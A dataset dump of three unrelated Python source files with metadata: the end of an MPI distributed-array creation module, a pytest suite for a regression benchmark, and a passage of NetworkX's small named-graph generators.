distributed amongst\n       memory nodes.\n    :type fill_value: scalar\n    :param fill_value: Fill value.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Data type of array elements.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory.\n    :type comms_and_distrib: :obj:`numpy.dtype`\n    :param comms_and_distrib: Data type of array elements.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Newly created array with uninitialised elements.\n    \"\"\"\n    ary = empty(shape, *args, **kwargs)\n    ary.fill_h(ary.dtype.type(fill_value))\n\n    return ary\n\n\ndef full_like(ary, fill_value, *args, **kwargs):\n    \"\"\"\n    Return a new array with the same shape and type as a given array.\n\n    :type ary: :obj:`numpy.ndarray`\n    :param ary: Copy attributes from this array.\n    :type fill_value: scalar\n    :param fill_value: Fill value.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Specifies different dtype for the returned array.\n    :type order: :samp:`{'C', 'F', 'A', or 'K'}`\n    :param order: Only :samp:`'K'` implemented.\n        Overrides the memory layout of the result. :samp:`'C'` means C-order, :samp:`'F'`\n        means F-order, :samp:`'A'` means :samp:`'F'` if a is Fortran\n        contiguous, :samp:`'C'` otherwise. :samp:`'K'` means match the layout\n        of :samp:`{ary}` as closely as possible.\n    :type subok: :obj:`bool`\n    :param subok: Ignored.\n       If True, then the newly created array will use the sub-class type of :samp:`{ary}`,\n       otherwise it will be a base-class array. Defaults to True.\n    :rtype: :samp:`type(ary)`\n    :return: Array of uninitialized (arbitrary) data with the same shape and type as :samp:`{ary}`.\n    \"\"\"\n    ary = empty_like(ary, *args, **kwargs)\n    ary.fill_h(ary.dtype.type(fill_value))\n\n    return ary\n\n\ndef zeros(shape=None, dtype=\"float64\", order='C', comms_and_distrib=None, **kwargs):\n    \"\"\"\n    Creates array of zero-initialised elements.\n\n    :type shape: :samp:`None` or sequence of :obj:`int`\n    :param shape: **Global** shape to be distributed amongst\n       memory nodes.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Data type of array elements.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory.\n    :type comms_and_distrib: :obj:`numpy.dtype`\n    :param comms_and_distrib: Data type of array elements.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Newly created array with zero-initialised elements.\n    \"\"\"\n    return \\\n        full(\n            shape=shape,\n            fill_value=0,\n            dtype=dtype,\n            order=order,\n            comms_and_distrib=comms_and_distrib,\n            **kwargs\n        )\n\n\ndef zeros_like(ary, *args, **kwargs):\n    \"\"\"\n    Return a new zero-initialised array with the same shape and type as a given array.\n\n    :type ary: :obj:`mpi_array.globale.gndarray`\n    :param ary: Copy attributes from this array.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Specifies different dtype for the returned array.\n    :type order: :samp:`{'C', 'F', 'A', or 'K'}`\n    :param order: Only :samp:`'K'` implemented.\n        Overrides the memory layout of the result. :samp:`'C'` means C-order, :samp:`'F'`\n        means F-order, :samp:`'A'` means :samp:`'F'` if a is Fortran\n        contiguous, :samp:`'C'` otherwise. :samp:`'K'` means match the layout\n        of :samp:`{ary}` as closely as possible.\n    :type subok: :obj:`bool`\n    :param subok: Ignored.\n       If True, then the newly created array will use the sub-class type of :samp:`{ary}`,\n       otherwise it will be a base-class array. Defaults to True.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Array of zero-initialized data with the same shape and type as :samp:`{ary}`.\n    \"\"\"\n    return full_like(ary, 0, *args, **kwargs)\n\n\ndef ones(shape=None, dtype=\"float64\", comms_and_distrib=None, order='C', **kwargs):\n    \"\"\"\n    Creates array of one-initialised elements.\n\n    :type shape: :samp:`None` or sequence of :obj:`int`\n    :param shape: **Global** shape to be distributed amongst\n       memory nodes.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Data type of array elements.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory.\n    :type comms_and_distrib: :obj:`numpy.dtype`\n    :param comms_and_distrib: Data type of array elements.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Newly created array with one-initialised elements.\n    \"\"\"\n    return \\\n        full(\n            shape=shape,\n            fill_value=1,\n            dtype=dtype,\n            order=order,\n            comms_and_distrib=comms_and_distrib,\n            **kwargs\n        )\n\n\ndef ones_like(ary, *args, **kwargs):\n    \"\"\"\n    Return a new one-initialised array with the same shape and type as a given array.\n\n    :type ary: :obj:`mpi_array.globale.gndarray`\n    :param ary: Copy attributes from this array.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Specifies different dtype for the returned array.\n    :type order: :samp:`{'C', 'F', 'A', or 'K'}`\n    :param order: Only :samp:`'K'` implemented.\n        Overrides the memory layout of the result. :samp:`'C'` means C-order, :samp:`'F'`\n        means F-order, :samp:`'A'` means :samp:`'F'` if a is Fortran\n        contiguous, :samp:`'C'` otherwise. :samp:`'K'` means match the layout\n        of :samp:`{ary}` as closely as possible.\n    :type subok: :obj:`bool`\n    :param subok: Ignored.\n       If True, then the newly created array will use the sub-class type of :samp:`{ary}`,\n       otherwise it will be a base-class array. Defaults to True.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Array of one-initialized data with the same shape and type as :samp:`{ary}`.\n    \"\"\"\n    return full_like(ary, 1, *args, **kwargs)\n\n\ndef eye(N, M=None, k=0, dtype=_np.float):\n    \"\"\"\n    Not implemented.\n    Return a 2-D array with ones on the diagonal and zeros elsewhere.\n    \"\"\"\n    raise NotImplementedError()\n\n\ndef identity(n, dtype=None):\n    \"\"\"\n    Not implemented.\n    Return the identity array.\n    \"\"\"\n    raise NotImplementedError()\n\n\ndef copy(ary, **kwargs):\n    \"\"\"\n    Return an array copy of the given object.\n\n    :type ary: :obj:`mpi_array.globale.gndarray`\n    :param ary: Array to copy.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory. Defaults to :samp:`'C'`.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: A copy of :samp:`{ary}`.\n    \"\"\"\n    return ary.copy(**kwargs)\n\n\ndef array(a, dtype=None, copy=True, order='K', subok=False, ndmin=0, **kwargs):\n    \"\"\"\n    Create a :obj:`mpi_array.globale.gndarray` from an existing *array-like* object.\n\n    :type object: array_like\n    :param object: An array, any object exposing the array interface, an object\n       whose :samp:`__array__` method returns an array, or any (nested) sequence.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: The desired data-type for the array. If not given,\n       then the type will be determined as the minimum type required to hold the\n       objects in the sequence. This argument can only be used to `upcast` the\n       array.\n    :type copy: :obj:`bool`\n    :param copy: If :samp:`True`, then the object is copied.\n       Otherwise, a copy will only be made if :samp:`__array__` returns a copy,\n       if :samp:`a` is a nested sequence, or if a copy is needed to satisfy any of\n       the other requirements (:samp:`dtype`, :samp:`order`, etc.).\n    :type order: :samp:`{'K', 'A', 'C', 'F'}`\n    :param order: Only :samp:`C` implemented. Specify the memory layout of the array.\n        If object is not an array, the newly created array will be in C order (row major)\n    :type subok: :obj:`bool`\n    :param subok: If :samp:`True`, then sub-classes will be passed-through, otherwise the\n        returned array will be forced to be a base-class array.\n    :type ndmin: int\n    :param ndmin: Specifies the minimum number of dimensions that the resulting array should have.\n        Ones will be pre-pended to the shape as needed to meet this requirement.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: An array object satisfying the specified requirements.\n\n    .. seealso:: :func:`asarray`, :func:`asanyarray`\n    \"\"\"\n    if order == 'K':\n        order = 'C'\n\n    if hasattr(a, \"__class__\") and (a.__class__ is _globale.gndarray):\n        if copy:\n            ret_ary = a.copy()\n        else:\n            ret_ary = a\n    elif isinstance(a, _globale.gndarray):\n        if subok:\n            ret_ary = a\n        else:\n            ret_ary =\\\n                _globale.gndarray(\n                    comms_and_distrib=a.comms_and_distrib,\n                    rma_window_buffer=a.rma_window_buffer,\n                    lndarray_proxy=a.lndarray_proxy\n                )\n        if copy:\n            ret_ary = a.copy()\n    else:\n        if \"distrib_type\" not in kwargs.keys() or kwargs[\"distrib_type\"] is None:\n            kwargs[\"distrib_type\"] = _comms.DT_CLONED\n        np_ary = _np.array(a, dtype=dtype, order=order, copy=False, subok=True, ndmin=ndmin)\n        ret_ary = \\\n            empty(\n                shape=np_ary.shape,\n                dtype=np_ary.dtype,\n                **kwargs\n            )\n        if (ret_ary.ndim == 0) and (ret_ary.locale_comms.have_valid_inter_locale_comm):\n            ret_ary.lndarray_proxy.lndarray[...] = np_ary\n        else:\n            locale_rank_view_slice_n = ret_ary.lndarray_proxy.rank_view_slice_n\n            if len(locale_rank_view_slice_n) > 0:\n                globale_rank_view_slice_n = \\\n                    ret_ary.lndarray_proxy.locale_extent.locale_to_globale_slice_h(\n                        locale_rank_view_slice_n\n                    )\n                ret_ary.lndarray_proxy.lndarray[locale_rank_view_slice_n] =\\\n                    np_ary[globale_rank_view_slice_n]\n\n        ret_ary.intra_locale_barrier()\n\n    if ret_ary.ndim < ndmin:\n        ret_ary = ret_ary.reshape((1,) * (ndmin - ret_ary.ndim) + tuple(ret_ary.shape))\n\n    return ret_ary\n\n\ndef asarray(a, dtype=None, order=None, **kwargs):\n    \"\"\"\n    Converts :samp:`{a}` (potentially via a copy)\n    to a :obj:`mpi_array.globale.gndarray`.\n    The :samp:`{kwargs}` are as for the :func:`mpi_array.comms.create_distributon` function\n    and determine the distribution for the\n    returned :obj:`mpi_array.globale.gndarray`.\n\n    :type a: scalar, :obj:`tuple`, :obj:`list`, :obj:`numpy.ndarray`, etc\n    :param a: Object converted to a :obj:`mpi_array.globale.gndarray`.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: The :obj:`numpy.dtype` for the returned :obj:`mpi_array.globale.gndarray`.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory. Defaults to :samp:`'C'`.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: The object :obj:`a` converted to an instance\n       of :obj:`mpi_array.globale.gndarray`.\n\n    .. seealso:: :func:`array`, :func:`asanyarray`\n    \"\"\"\n    return array(a, dtype, copy=False, order=order, **kwargs)\n\n\ndef asanyarray(a, dtype=None, order=None, **kwargs):\n    \"\"\"\n    Convert the input to an ndarray, but pass :obj:`mpi_array.globale.gndarray` subclasses through.\n\n    :type a: scalar, :obj:`tuple`, :obj:`list`, :obj:`numpy.ndarray`, etc\n    :param a: Object converted to a :obj:`mpi_array.globale.gndarray`.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: The :obj:`numpy.dtype` for the returned :obj:`mpi_array.globale.gndarray`.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory. Defaults to :samp:`'C'`.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: The object :obj:`a` converted to an instance\n       of :obj:`mpi_array.globale.gndarray`.\n\n    .. seealso:: :func:`array`, :func:`asarray`\n    \"\"\"\n    return array(a, dtype, copy=False, order=order, subok=True, **kwargs)\n\n\n__all__ = [s for s in dir() if not s.startswith('_')]\n", "meta": {"hexsha": "3186d8609c604f59bc4fe6ca7fb09f27d628b892", "size": 17620, "ext": "py", "lang": "Python", "max_stars_repo_path": "mpi_array/globale_creation.py", "max_stars_repo_name": "mpi-array/mpi_array", "max_stars_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2018-06-05T14:05:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-08T14:16:33.000Z", "max_issues_repo_path": "mpi_array/globale_creation.py", "max_issues_repo_name": "mpi-array/mpi_array", "max_issues_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "mpi_array/globale_creation.py", "max_forks_repo_name": "mpi-array/mpi_array", "max_forks_repo_head_hexsha": "6a6c707300f7c65d6be5e7e3ef196d7abea10a06", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2018-01-01T17:52:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-06-08T15:48:29.000Z", "avg_line_length": 37.7301927195, "max_line_length": 99, "alphanum_fraction": 0.6370601589, "include": true, "reason": "import numpy", "num_tokens": 4652, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11596071672639166, "lm_q1q2_score": 0.05256056876059298}}
{"text": "import pytest\r\n\r\nimport pandas as pd\r\nimport numpy  as np\r\nimport iirsBenchmark.regressors as regressors\r\n\r\nfrom sklearn.base           import RegressorMixin\r\nfrom sklearn.exceptions     import NotFittedError\r\nfrom scipy.optimize         import check_grad\r\nfrom sklearn.utils._testing import ignore_warnings\r\nfrom sklearn.exceptions     import ConvergenceWarning\r\n\r\n\r\n\r\nds_names = pd.read_csv(\r\n    './datasets/FeynmanEquations.csv')['Filename'].values\r\n\r\n\r\n@pytest.mark.parametrize(\"regressor\", regressors.__all__)\r\ndef test_has_properties(regressor):\r\n    \r\n    # checking attributes does not need to instantiate the class\r\n    regressor_class = getattr(regressors, regressor)\r\n\r\n    assert hasattr(regressor_class, 'stochastic_executions')\r\n    assert hasattr(regressor_class, 'interpretability_spectrum')\r\n    assert hasattr(regressor_class, 'grid_params')\r\n\r\n\r\n@pytest.mark.parametrize(\"regressor\", regressors.__all__)\r\ndef test_is_regressorMixin(regressor):\r\n    \r\n    regressor_class = getattr(regressors, regressor)\r\n    regressor_instance = regressor_class()\r\n\r\n    assert isinstance(regressor_instance, RegressorMixin)\r\n\r\n\r\n@ignore_warnings(category=ConvergenceWarning)\r\n@pytest.mark.parametrize(\"regressor,ds_name\", zip(\r\n    regressors.__all__,\r\n    np.random.choice(ds_names, len(regressors.__all__))\r\n))\r\ndef test_fit_and_predict(regressor, ds_name):\r\n\r\n    # testing with random datasets. The dataset correctness should be\r\n    # verified in test_feynman.\r\n    \r\n    data = pd.read_csv(\r\n            f'./datasets/train/{ds_name}_UNI.csv', sep=',', \r\n            header=0, index_col=False).values\r\n\r\n    X, y = data[:, :-1], data[:, -1]\r\n\r\n    regressor_class = getattr(regressors, regressor)\r\n    # creating with small configurations (only the regressors with\r\n    # slow fitting process)\r\n    predictor = regressor_class(**{\r\n        # ITEA\r\n        'gens' : 10,\r\n        'popsize' : 10, \r\n\r\n        # stop warnings when label is missing\r\n        'labels' : [f'x_{i}' for i in range(X.shape[1])],\r\n\r\n        # MLP\r\n        'hidden_layer_sizes' : (50,),\r\n        'activation' : 'identity',\r\n    })\r\n    \r\n    # Should fail, not fitted yet\r\n    with pytest.raises(NotFittedError):\r\n        predictor.predict(X)\r\n\r\n    # should succeed\r\n    predictor.fit(X, y)\r\n\r\n    predictions = predictor.predict(X)\r\n\r\n    assert predictions.shape == (len(y), )\r\n    assert np.any(np.isfinite(predictions))\r\n\r\n\r\n@pytest.mark.parametrize(\"regressor,ds_name\", zip(\r\n    ['ITEA_regressor', 'Linear_regressor', 'Lasso_regressor'],\r\n    ds_names[:3]\r\n))\r\ndef test_gradients(regressor, ds_name):\r\n\r\n    data = pd.read_csv(\r\n        f'./datasets/train/{ds_name}_UNI.csv', sep=',', \r\n        header=0, index_col=False).values\r\n\r\n    X, y = data[:, :-1], data[:, -1]\r\n    \r\n    # not using random datasets because ITEA may need a proper configuration\r\n    # to find a solution that does not present discontinuity. The first 3 \r\n    # are simple enough\r\n    regressor_class = getattr(regressors, regressor)\r\n    \r\n    predictor = regressor_class(**{\r\n        # ITEA\r\n        'gens' : 25,\r\n        'popsize' : 25,\r\n\r\n        # stop warnings when label is missing\r\n        'labels' : [f'x_{i}' for i in range(X.shape[1])],\r\n    })\r\n    predictor.fit(X, y)\r\n\r\n    # auxiliary functions: check_grad takes a single parameter function\r\n    pred_aux = lambda x: predictor.predict(np.array(x).reshape(1, -1))[0]\r\n    grad_aux = lambda x: predictor.gradients(np.array(x).reshape(1, -1))[0]\r\n\r\n    for x in X:\r\n        assert check_grad(pred_aux, grad_aux, x, epsilon=1e-4) < np.std(y)\r\n\r\n\r\n@pytest.mark.parametrize(\"regressor\", regressors.__all__)\r\ndef test_to_string(regressor):\r\n    \r\n    regressor_class = getattr(regressors, regressor)\r\n    regressor_instance = regressor_class()\r\n\r\n    # methods used in the experiments. All regressors should have at least\r\n    # those methods\r\n    for method in ['fit', 'predict', 'to_str', 'score']:\r\n        # should throw exception if the class does not have to_string\r\n        hasattr(regressor_instance, method)\r\n\r\n        assert callable(getattr(regressor_instance, method))\r\n", "meta": {"hexsha": "6b0a638c756df2d26b8dab54c19f911cefb05a92", "size": 4103, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_regressors.py", "max_stars_repo_name": "gAldeia/iirsBenchmark", "max_stars_repo_head_hexsha": "2211b4755405eb32178a09f1a01143d53dc6516d", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_regressors.py", "max_issues_repo_name": "gAldeia/iirsBenchmark", "max_issues_repo_head_hexsha": "2211b4755405eb32178a09f1a01143d53dc6516d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_regressors.py", "max_forks_repo_name": "gAldeia/iirsBenchmark", "max_forks_repo_head_hexsha": "2211b4755405eb32178a09f1a01143d53dc6516d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.0833333333, "max_line_length": 77, "alphanum_fraction": 0.661223495, "include": true, "reason": "import numpy,from scipy", "num_tokens": 987, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11596071519881658, "lm_q1q2_score": 0.052560568068201474}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nVarious small and named graphs, together with some compact generators.\n\n\"\"\"\n__author__ =\"\"\"Aric Hagberg (hagberg@lanl.gov)\\nPieter Swart (swart@lanl.gov)\"\"\"\n#    Copyright (C) 2004-2008 by \n#    Aric Hagberg <hagberg@lanl.gov>\n#    Dan Schult <dschult@colgate.edu>\n#    Pieter Swart <swart@lanl.gov>\n#    All rights reserved.\n#    BSD license.\n\n__all__ = ['make_small_graph',\n           'LCF_graph',\n           'bull_graph',\n           'chvatal_graph',\n           'cubical_graph',\n           'desargues_graph',\n           'diamond_graph',\n           'dodecahedral_graph',\n           'frucht_graph',\n           'heawood_graph',\n           'house_graph',\n           'house_x_graph',\n           'icosahedral_graph',\n           'krackhardt_kite_graph',\n           'moebius_kantor_graph',\n           'octahedral_graph',\n           'pappus_graph',\n           'petersen_graph',\n           'sedgewick_maze_graph',\n           'tetrahedral_graph',\n           'truncated_cube_graph',\n           'truncated_tetrahedron_graph',\n           'tutte_graph']\n\nimport networkx as nx\nfrom networkx.generators.classic import empty_graph, cycle_graph, path_graph, complete_graph\nfrom networkx.exception import NetworkXError\n\n#------------------------------------------------------------------------------\n#   Tools for creating small graphs\n#------------------------------------------------------------------------------\ndef make_small_undirected_graph(graph_description, create_using=None):\n    \"\"\"\n    Return a small undirected graph described by graph_description.\n\n    See make_small_graph.\n    \"\"\"\n    if create_using is not None and create_using.is_directed():\n        raise NetworkXError(\"Directed Graph not supported\")\n    return make_small_graph(graph_description, create_using)\n\ndef make_small_graph(graph_description, create_using=None):\n    \"\"\"\n    Return the small graph described by graph_description.\n\n    graph_description is a list of the form [ltype,name,n,xlist]\n\n    Here ltype is one of \"adjacencylist\" or \"edgelist\",\n    name is the name of the graph and n the number of nodes.\n    This constructs a graph of n nodes with integer labels 0,..,n-1.\n    \n    If ltype=\"adjacencylist\"  then xlist is an adjacency list\n    with exactly n entries, in with the j'th entry (which can be empty)\n    specifies the nodes connected to vertex j.\n    e.g. the \"square\" graph C_4 can be obtained by\n\n    >>> G=nx.make_small_graph([\"adjacencylist\",\"C_4\",4,[[2,4],[1,3],[2,4],[1,3]]])\n\n    or, since we do not need to add edges twice,\n    \n    >>> G=nx.make_small_graph([\"adjacencylist\",\"C_4\",4,[[2,4],[3],[4],[]]])\n    \n    If ltype=\"edgelist\" then xlist is an edge list \n    written as [[v1,w2],[v2,w2],...,[vk,wk]],\n    where vj and wj integers in the range 1,..,n\n    e.g. the \"square\" graph C_4 can be obtained by\n \n    >>> G=nx.make_small_graph([\"edgelist\",\"C_4\",4,[[1,2],[3,4],[2,3],[4,1]]])\n\n    Use the create_using argument to choose the graph class/type. \n    \"\"\"\n    ltype=graph_description[0]\n    name=graph_description[1]\n    n=graph_description[2]\n\n    G=empty_graph(n, create_using)\n    nodes=G.nodes()\n\n    if ltype==\"adjacencylist\":\n        adjlist=graph_description[3]\n        if len(adjlist) != n:\n            raise NetworkXError(\"invalid graph_description\")\n        G.add_edges_from([(u-1,v) for v in nodes for u in adjlist[v]])\n    elif ltype==\"edgelist\":\n        edgelist=graph_description[3]\n        for e in edgelist:\n            v1=e[0]-1\n            v2=e[1]-1\n            if v1<0 or v1>n-1 or v2<0 or v2>n-1:\n                raise NetworkXError(\"invalid graph_description\")\n            else:\n                G.add_edge(v1,v2)\n    G.name=name\n    return G\n\n\ndef LCF_graph(n,shift_list,repeats,create_using=None):\n    \"\"\"\n    Return the cubic graph specified in LCF notation.\n\n    LCF notation (LCF=Lederberg-Coxeter-Fruchte) is a compressed\n    notation used in the generation of various cubic Hamiltonian\n    graphs of high symmetry. See, for example, dodecahedral_graph,\n    desargues_graph, heawood_graph and pappus_graph below.\n    \n    n (number of nodes)\n      The starting graph is the n-cycle with nodes 0,...,n-1.\n      (The null graph is returned if n < 0.)\n\n    shift_list = [s1,s2,..,sk], a list of integer shifts mod n,\n\n    repeats\n      integer specifying the number of times that shifts in shift_list\n      are successively applied to each v_current in the n-cycle\n      to generate an edge between v_current and v_current+shift mod n.\n\n    For v1 cycling through the n-cycle a total of k*repeats\n    with shift cycling through shiftlist repeats times connect\n    v1 with v1+shift mod n\n          \n    The utility graph K_{3,3}\n\n    >>> G=nx.LCF_graph(6,[3,-3],3)\n    \n    The Heawood graph\n\n    >>> G=nx.LCF_graph(14,[5,-5],7)\n\n    See http://mathworld.wolfram.com/LCFNotation.html for a description\n    and references.\n    \n    \"\"\"\n    if create_using is not None and create_using.is_directed():\n        raise NetworkXError(\"Directed Graph not supported\")\n\n    if n <= 0:\n        return empty_graph(0, create_using)\n\n    # start with the n-cycle\n    G=cycle_graph(n, create_using)\n    G.name=\"LCF_graph\"\n    nodes=G.nodes()\n\n    n_extra_edges=repeats*len(shift_list)    \n    # edges are added n_extra_edges times\n    # (not all of these need be new)\n    if n_extra_edges < 1:\n        return G\n\n    for i in range(n_extra_edges):\n        shift=shift_list[i%len(shift_list)] #cycle through shift_list\n        v1=nodes[i%n]                    # cycle repeatedly through nodes\n        v2=nodes[(i + shift)%n]\n        G.add_edge(v1, v2)\n    return G\n\n\n#-------------------------------------------------------------------------------\n#   Various small and named graphs\n#-------------------------------------------------------------------------------\n\ndef bull_graph(create_using=None):\n    \"\"\"Return the Bull graph. \"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Bull Graph\",\n        5,\n        [[2,3],[1,3,4],[1,2,5],[2],[3]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef chvatal_graph(create_using=None):\n    \"\"\"Return the Chv\u00e1tal graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Chvatal Graph\",\n        12,\n        [[2,5,7,10],[3,6,8],[4,7,9],[5,8,10],\n         [6,9],[11,12],[11,12],[9,12],\n         [11],[11,12],[],[]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef cubical_graph(create_using=None):\n    \"\"\"Return the 3-regular Platonic Cubical graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Platonic Cubical Graph\",\n        8,\n        [[2,4,5],[1,3,8],[2,4,7],[1,3,6],\n         [1,6,8],[4,5,7],[3,6,8],[2,5,7]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef desargues_graph(create_using=None):\n    \"\"\" Return the Desargues graph.\"\"\"\n    G=LCF_graph(20, [5,-5,9,-9], 5, create_using)\n    G.name=\"Desargues Graph\"\n    return G\n\ndef diamond_graph(create_using=None):\n    \"\"\"Return the Diamond graph. \"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Diamond Graph\",\n        4,\n        [[2,3],[1,3,4],[1,2,4],[2,3]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef dodecahedral_graph(create_using=None):\n    \"\"\" Return the Platonic Dodecahedral graph. \"\"\"\n    G=LCF_graph(20, [10,7,4,-4,-7,10,-4,7,-7,4], 2, create_using)\n    G.name=\"Dodecahedral Graph\"\n    return G\n\ndef frucht_graph(create_using=None):\n    \"\"\"Return the Frucht Graph.\n\n    The Frucht Graph is the smallest cubical graph whose\n    automorphism group consists only of the identity element.\n\n    \"\"\"\n    G=cycle_graph(7, create_using)\n    G.add_edges_from([[0,7],[1,7],[2,8],[3,9],[4,9],[5,10],[6,10],\n                [7,11],[8,11],[8,9],[10,11]])\n\n    G.name=\"Frucht Graph\"\n    return G\n\ndef heawood_graph(create_using=None):\n    \"\"\" Return the Heawood graph, a (3,6) cage. \"\"\"\n    G=LCF_graph(14, [5,-5], 7, create_using)\n    G.name=\"Heawood Graph\"\n    return G\n\ndef house_graph(create_using=None):\n    \"\"\"Return the House graph (square with triangle on top).\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"House Graph\",\n        5,\n        [[2,3],[1,4],[1,4,5],[2,3,5],[3,4]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef house_x_graph(create_using=None):\n    \"\"\"Return the House graph with a cross inside the house square.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"House-with-X-inside Graph\",\n        5,\n        [[2,3,4],[1,3,4],[1,2,4,5],[1,2,3,5],[3,4]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef icosahedral_graph(create_using=None):\n    \"\"\"Return the Platonic Icosahedral graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Platonic Icosahedral Graph\",\n        12,\n        [[2,6,8,9,12],[3,6,7,9],[4,7,9,10],[5,7,10,11],\n         [6,7,11,12],[7,12],[],[9,10,11,12],\n         [10],[11],[12],[]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n    \n\ndef krackhardt_kite_graph(create_using=None):\n    \"\"\"\n    Return the Krackhardt Kite Social Network.\n \n    A 10 actor social network introduced by David Krackhardt\n    to illustrate: degree, betweenness, centrality, closeness, etc. \n    The traditional labeling is:\n    Andre=1, Beverley=2, Carol=3, Diane=4,\n    Ed=5, Fernando=6, Garth=7, Heather=8, Ike=9, Jane=10.\n    \n    \"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Krackhardt Kite Social Network\",\n        10,\n        [[2,3,4,6],[1,4,5,7],[1,4,6],[1,2,3,5,6,7],[2,4,7],\n         [1,3,4,7,8],[2,4,5,6,8],[6,7,9],[8,10],[9]]\n         ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\ndef moebius_kantor_graph(create_using=None):\n    \"\"\"Return the Moebius-Kantor graph.\"\"\"\n    G=LCF_graph(16, [5,-5], 8, create_using)\n    G.name=\"Moebius-Kantor Graph\"\n    return G    \n\ndef octahedral_graph(create_using=None):\n    \"\"\"Return the Platonic Octahedral graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Platonic Octahedral Graph\",\n        6,\n        [[2,3,4,5],[3,4,6],[5,6],[5,6],[6],[]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n    \ndef pappus_graph():\n    \"\"\" Return the Pappus graph.\"\"\"\n    G=LCF_graph(18,[5,7,-7,7,-7,-5],3)\n    G.name=\"Pappus Graph\"\n    return G\n\ndef petersen_graph(create_using=None):\n    \"\"\"Return the Petersen graph.\"\"\"\n    description=[\n        \"adjacencylist\",\n        \"Petersen Graph\",\n        10,\n        [[2,5,6],[1,3,7],[2,4,8],[3,5,9],[4,1,10],[1,8,9],[2,9,10],\n         [3,6,10],[4,6,7],[5,7,8]]\n        ]\n    G=make_small_undirected_graph(description, create_using)\n    return G\n\n\ndef sedgewick_maze_graph(create_using=None):\n    \"\"\"\n    Return a small maze with a cycle.\n\n    This is the maze used in Sedgewick,3rd Edition, Part 5, Graph\n    Algorithms, Chapter 18, e.g. Figure 18.2 and following.\n    Nodes are numbered 0,..,7\n    \"\"\" \n    G=empty_graph(0, create_using)\n    G.add_nodes_from(range(8))\n    G.add_edges_from([[0,2],[0,7],[0,5]])\n    G.add_edges_from([[1,7],[2,6]])\n    G.add_edges_from([[3,4],[3,5]])\n    